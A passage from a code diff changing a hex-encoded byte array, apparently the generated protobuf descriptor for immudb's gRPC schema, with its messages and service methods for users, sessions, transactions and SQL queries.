0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, - 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, - 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, + 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, + 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, + 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, + 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, + 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, + 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, + 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, + 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, - 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, + 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, + 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, + 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, + 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, + 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, + 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, + 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, + 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, + 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, + 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, + 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, + 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, + 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, + 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, + 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, + 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, + 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, + 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, + 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, + 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, + 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, + 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, + 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, + 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, + 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, + 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, + 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, + 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, + 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, + 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, + 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, + 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xbb, 0x36, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, + 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, + 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, + 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, + 0x72, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, + 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x75, + 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, + 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x3a, + 0x01, 0x2a, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, + 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x92, 0x01, 0x0a, 0x13, 0x43, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, + 0x65, 0x73, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, + 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2a, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, + 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x1e, 0x3a, 0x01, 0x2a, 0x22, 0x19, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, + 0x67, 0x65, 0x73, 0x71, 0x6c, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x12, + 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, + 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, + 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, 0x0a, + 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, + 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, + 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, - 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, - 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, + 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4f, 0x0a, 0x0a, - 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 